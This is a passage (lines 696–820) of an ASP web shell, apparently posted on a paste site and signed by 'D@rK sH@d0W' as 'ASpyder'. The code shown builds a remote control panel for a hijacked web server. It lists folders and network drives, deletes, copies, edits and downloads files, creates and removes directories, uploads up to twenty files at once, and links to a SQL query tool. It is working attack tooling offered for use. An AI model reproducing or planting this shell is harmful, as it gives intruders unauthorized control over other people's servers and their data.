  696. if right("<%=showPath%>",1) <> "\" Then
  697. document.myform.txtpath.value = "<%=showPath%>" & "\" & thestuff
  698. Else
  699. document.myform.txtpath.value = "<%=showPath%>" & thestuff
  700. End If
  701. document.myform.submit()
  702. End sub
  703. </SCRIPT>
  704. </HEAD>
  705.  
  706. <center><font color=#ff8300 face=webdings size=6 >!</font><B><font color=Gray >D@rK</font> sH@d0W</B><font color=#ff8300 face=webdings size=6 >!</font><BR><font color=black size=-2><TT>by D@rK sH@d0W</TT></font></center>
  707. <font face=Courier>
  708. <center><table><tr><td>
  709. <form method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" name="myform" >
  710. <Table bgcolor=#505050 ><tr><td bgcolor=#505050 >
  711. <font face=Arial size=-2 color=#ff8300 > PATH INFO : </font></td><td align=right ><font face=Arial size=-2 color=#ff8300 >Volume Label:</font> <%=drv.VolumeName%> </td></tr>
  712. <tr><td colspan=2 cellpadding=2 bgcolor=#303030 ><font face=Arial size=-1 color=gray>Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%></Font><BR><font face=wingdings color=Gray >1</font><font face=Arial size=+1 > <%=showPath%></Font>
  713. <BR><input type=text width=40 size=60 name=txtpath value="<%=showPath%>" ><input type=submit name=cmd value=" View " >
  714. </td></tr></form></table>
  715. </td><td><center>
  716. <table bgcolor=#505050 cellpadding=4><tr><td bgcolor=black ><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?getDRVs=@&txtpath=<%=MyPath%>"><font size=-2 face=arial>Retrieve Available Network Drives</a></td></tr>
  717. <tr><td bgcolor=black align=right><A HREF="<%=Request.Servervariables("SCRIPT_NAME")%>?qa=@&txtpath=<%=MyPath%>"><font size=-2 face=arial>SQL Query Analyser</A></td></tr>
  718. <tr><td bgcolor=black align=right><A HREF="<%=Request.Servervariables("SCRIPT_NAME")%>?logoff=@&...thankyou.for.using.ASpyder....D@rK_sH@d0W..[go.site90.com]"><font size=-2 face=arial>+++LOGOFF+++</A></td></tr></table>
  719. </td></tr></table></center>
  720. <p align=center ><Table width=75% bgcolor=#505050 cellpadding=4 ><tr><td>
  721. <form method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" ><font face=arial size=-1 >Delete file from current directory:</font><BR>
  722. <select size=1 name=ToDelete >
  723. <option>------------------------------</option>"
  724. <%
  725. fi=0
  726. For each file in folder.Files
  727. Response.Write "<option>" & file.name & "</option>"
  728. fi=fi+1
  729. next
  730. Response.Write "</select><input type=hidden name=txtpath value=""" & MyPath & """><input type=Submit name=cmd value=Delete ></form></td><td>"
  731. Response.Write "<form method=post name=frmCopyFile action=""" & Request.Servervariables("SCRIPT_NAME") & """ ><font face=arial size=-1 >Copy file too current directory:</font><br><select size=1 name=ToCopy >"
  732. Response.Write "<option>------------------------------</option>"
  733. For each file in fileCopy.Files
  734. Response.Write "<option>" & file.name & "</option>"
  735. next
  736. Response.Write "</select><input type=hidden name=txtpath value=""" & MyPath & """><input type=Submit name=cmd value="" Copy "" ></form></td></tr></Table>"
  737. Response.Flush
  738. ' ---View Tree Begins Here
  739. Response.Write "<table Cellpading=2 width=75% bgcolor=#505050 ><tr><td valign=top width=50% bgcolor=#303030 >Folders:<BR><BR>"
  740. fo=0
  741. Response.Write "<font face=wingdings color=Gray >0</font> <FONT COLOR=#c8c8c8><span style='cursor: hand;' OnClick=""getit('..')"">..</span></FONT><BR>"
  742.  
  743. For each fold in folder.SubFolders '-->FOLDERz
  744. fo=fo+1
  745. Response.Write "<font face=wingdings color=Gray >0</font> <FONT COLOR=#eeeeee><span style='cursor: hand;' OnClick=""getit('" & fold.name & "')"">" & fold.name & "</span></FONT><BR>"
  746. Next
  747. %>
  748. <BR><center><form method=post action="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>">
  749. <table bgcolor=#505050 cellspacing=4><tr><td>
  750. <font face=arial size=-1 title="Create and Delete folders by entering their names here manually.">Directory:</td></tr>
  751. <tr><td align=right ><input type=text size=20 name=DirName><BR>
  752. <input type=submit name=cmd value=Create><input type=submit name=cmd value=Delete><input type=hidden name=DirStuff value=@>
  753. </tr></td></table></form>
  754. <%
  755. Response.Write "<BR></td><td valign=top width=50% bgcolor=#303030 >Files:<BR><BR>"
  756. Response.Flush
  757. %>
  758. <form method=post name=frmCopySelected action="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>">
  759. <%
  760. Response.write "<center><select name=Fname size=" & fi+3 & " style=""background-color: rgb(48,48,48); color: rgb(210,210,210)"">"
  761. For each file in folder.Files '-->FILEz
  762. Response.Write "<option value=""" & file.name & """>&nbsp;&nbsp;" & file.name & " -- [" & Int(file.size/1024)+1 & " kb]</option>"
  763. Next
  764. Response.write "</select>"
  765. Response.write "<br><input type=submit name=cmd value="" Copy ""><input type=submit name=cmd value=""Edit/Create""><input type=submit name=cmd value=Download>"
  766. %>
  767. </form>
  768. <%
  769. Response.Write "<BR></td></tr><tr><td align=center ><B>Listed: " & fo & "</b></td><td align=center ><b>Listed: " & fi & "</b></td></tr></table><BR>"
  770. ' ---View Tree Ends Here
  771. ' ---Upload Routine starts here
  772. %>
  773. <center><form method="post" ENCTYPE="multipart/form-data" action="<%=Request.Servervariables("SCRIPT_NAME")%>?upload=@&txtpath=<%=MyPath%>">
  774. <table bgcolor="#505050" cellpadding="8">
  775. <tr>
  776. <td bgcolor=#303030 valign="bottom"><font size=+1 face=wingdings color=Gray >2</font><font face="Arial" size=-2 color="#ff8300"> SELECT FILES TO UPLOAD:<br>
  777. <input TYPE="FILE" SIZE="53" NAME="FILE1"><BR>
  778. <input TYPE="FILE" SIZE="53" NAME="FILE2"><BR>
  779. <input TYPE="FILE" SIZE="53" NAME="FILE3"><BR>
  780. <input TYPE="FILE" SIZE="53" NAME="FILE4"><BR>
  781. <input TYPE="FILE" SIZE="53" NAME="FILE5"><BR>
  782. <input TYPE="FILE" SIZE="53" NAME="FILE6"><BR>
  783. <input TYPE="FILE" SIZE="53" NAME="FILE7"><BR>
  784. <input TYPE="FILE" SIZE="53" NAME="FILE8"><BR>
  785. <input TYPE="FILE" SIZE="53" NAME="FILE9"><BR>
  786. <input TYPE="FILE" SIZE="53" NAME="FILE10"><BR>
  787. <input TYPE="FILE" SIZE="53" NAME="FILE11"><BR>
  788. <input TYPE="FILE" SIZE="53" NAME="FILE12"><BR>
  789. <input TYPE="FILE" SIZE="53" NAME="FILE13"><BR>
  790. <input TYPE="FILE" SIZE="53" NAME="FILE14"><BR>
  791. <input TYPE="FILE" SIZE="53" NAME="FILE15"><BR>
  792. <input TYPE="FILE" SIZE="53" NAME="FILE16"><BR>
  793. <input TYPE="FILE" SIZE="53" NAME="FILE17"><BR>
  794. <input TYPE="FILE" SIZE="53" NAME="FILE18"><BR>
  795. <input TYPE="FILE" SIZE="53" NAME="FILE19"><BR>
  796. <input TYPE="FILE" SIZE="53" NAME="FILE20"><BR>
  797.  
  798. &nbsp;&nbsp;<input TYPE="submit" VALUE="Upload !" name="Upload" TITLE="If you recieve an error while uploading, then most likely you do not have write access to disk !!">
  799. </font></td>
  800. </tr>
  801. </table>
  802. <BR>
  803. <table bgcolor="#505050" cellpadding="6">
  804. <tr>
  805. <td bgcolor="#000000" valign="bottom"><font face="Arial" size="-2" color=gray>NOTE FOR UPLOAD -
  806. YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER&nbsp; FOR THIS LIBRARY TO
  807. FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET
  808. EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.</font></td>
  809. </tr>
  810. </table>
  811. </form></center>
  812. <%
  813. ' ---Upload Routine stops here
  814. %>
  815. <marquee behavior="alternate"> Shell Coded By - * D@rK sH@d0W * </marquee>
  816. </font><HR><P align=right><font color=#ff8300><TT>Copyright D@rK sH@d0W</B></font><BR><font size=1 face=arial>[ System: <%=now%> ]</font></p><BR>
  817.  
  818. </body>
  819.  
  820. </html>
Advertisement
Add Comment
Please, Sign In to add comment